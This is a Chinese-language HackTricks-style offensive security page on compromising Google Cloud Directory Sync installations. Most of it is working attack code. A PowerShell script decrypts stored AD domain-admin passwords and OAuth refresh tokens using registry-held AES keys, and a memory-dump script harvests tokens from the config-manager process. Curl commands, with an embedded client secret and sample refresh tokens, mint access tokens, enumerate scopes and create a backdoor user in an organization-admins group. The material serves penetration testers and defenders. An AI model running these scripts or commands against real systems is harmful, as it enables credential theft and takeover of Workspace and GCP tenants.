GCDS - Google Cloud Directory Sync
Last updated
Last updated
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
这是一个可以用来将您的活动目录用户和组同步到您的 Workspace 的工具(在撰写本文时并不是反向同步)。
这很有趣,因为这是一个需要Workspace 超级用户和特权 AD 用户的凭据的工具。因此,可能会在一个定期同步用户的域服务器中找到它。
要对 config-manager.exe
二进制文件执行 MitM,只需在 config.manager.vmoptions
文件中添加以下行:-Dcom.sun.net.ssl.checkRevocation=false
请注意 Winpeas 能够检测 GCDS,获取有关配置的信息,甚至是密码和加密凭据。
还要注意,GCDS 不会将密码从 AD 同步到 Workspace。如果有的话,它只会为在 Workspace 中新创建的用户生成随机密码,如下图所示:
二进制文件 config-manager.exe
(主要的 GCDS GUI 二进制文件)将默认在 C:\Program Files\Google Cloud Directory Sync
文件夹中的 Untitled-1.xml
文件中存储配置的活动目录凭据、刷新令牌和访问权限。尽管它也可以保存在用户的 Documents
中或在 任何其他文件夹 中。
此外,注册表 HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui
中的键 open.recent
包含所有最近打开的配置文件(xml)的路径。因此,可以检查它以找到它们。
文件中最有趣的信息将是:
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
注意用户的 refresh token 和 password 是如何使用 AES CBC 通过随机生成的密钥和 IV 加密的,这些密钥和 IV 存储在 HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util
中(无论 prefs
Java 库将偏好设置存储在哪里),在字符串键 /Encryption/Policy/V2.iv
和 /Encryption/Policy/V2.key
中以 base64 格式存储。
```powershell # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" $ivKeyName = "/Encryption/Policy/V2.iv" $keyKeyName = "/Encryption/Policy/V2.key"
try { $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath) if (-not $regKey) { Throw "Registry key not found: HKCU$regPath" } } catch { Write-Error "Failed to open registry key: $_" exit }
try { $ivBase64 = $regKey.GetValue($ivKeyName) $ivBase64 = $ivBase64 -replace '/', '' $ivBase64 = $ivBase64 -replace '\', '/' if (-not $ivBase64) { Throw "IV not found in registry" } $keyBase64 = $regKey.GetValue($keyKeyName) $keyBase64 = $keyBase64 -replace '/', '' $keyBase64 = $keyBase64 -replace '\', '/' if (-not $keyBase64) { Throw "Key not found in registry" } } catch { Write-Error "Failed to read registry values: $_" exit } $regKey.Close()
$ivBytes = [Convert]::FromBase64String($ivBase64) $keyBytes = [Convert]::FromBase64String($keyBase64)
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
$refreshTokenMatch = [regex]::Match($xmlContent, "(.*?)") $refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value
$encryptedPasswordMatch = [regex]::Match($xmlContent, "(.*?)") $encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64) $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) { $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $aes.KeySize = 256 $aes.BlockSize = 128 $aes.Key = $keyBytes $aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor() $memoryStream = New-Object System.IO.MemoryStream $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length) $cryptoStream.FlushFinalBlock() $plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close() $memoryStream.Close()
return $plaintextBytes }
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes $refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
Write-Host "Decrypted Refresh Token: $refreshToken" Write-Host "Decrypted Password: $decryptedPassword"
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
请注意,可以通过检查 **`C:\Program Files\Google Cloud Directory Sync`** 中的 **`DirSync.jar`** 的 java 代码来检查此信息,搜索字符串 `exportkeys`(因为这是二进制文件 `upgrade-config.exe` 期望转储密钥的 cli 参数)。
</div>
除了使用 powershell 脚本外,还可以使用二进制文件 **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`**,参数为 `-exportKeys`,并从注册表中以十六进制格式获取 **Key** 和 **IV**,然后只需使用一些 cyberchef 结合 AES/CBC 以及该密钥和 IV 来解密信息。
### GCDS - 从内存中转储令牌
与 GCPW 一样,可以转储 `config-manager.exe` 进程的内存(这是 GCDS 主二进制文件的 GUI 名称),您将能够找到刷新和访问令牌(如果它们已经生成)。\
我想您也可以找到配置的 AD 凭据。
<details>
<summary>转储 config-manager.exe 进程并搜索令牌</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
使用刷新令牌,可以使用它以及以下命令中指定的客户端ID和客户端密钥生成访问令牌:
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求由您生成访问令牌的应用程序支持的范围。
此外,刷新令牌在每个应用程序中都不是有效的。
默认情况下,GCSD不会以用户身份访问所有可能的OAuth范围,因此使用以下脚本,我们可以找到可以与refresh_token
一起使用以生成access_token
的范围:
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done
echo "" echo "" echo "Valid scopes:" cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt
</details>
这是我在撰写时得到的输出:
https://www.googleapis.com/auth/admin.directory.group https://www.googleapis.com/auth/admin.directory.orgunit https://www.googleapis.com/auth/admin.directory.resource.calendar https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/admin.directory.userschema https://www.googleapis.com/auth/apps.groups.settings https://www.googleapis.com/auth/apps.licensing https://www.googleapis.com/auth/contacts
#### 创建一个用户并将其添加到组 `gcp-organization-admins` 以尝试在 GCP 中提升权限
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
无法为新用户分配超级管理员角色,因为刷新令牌的范围不足以授予所需的权限。
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)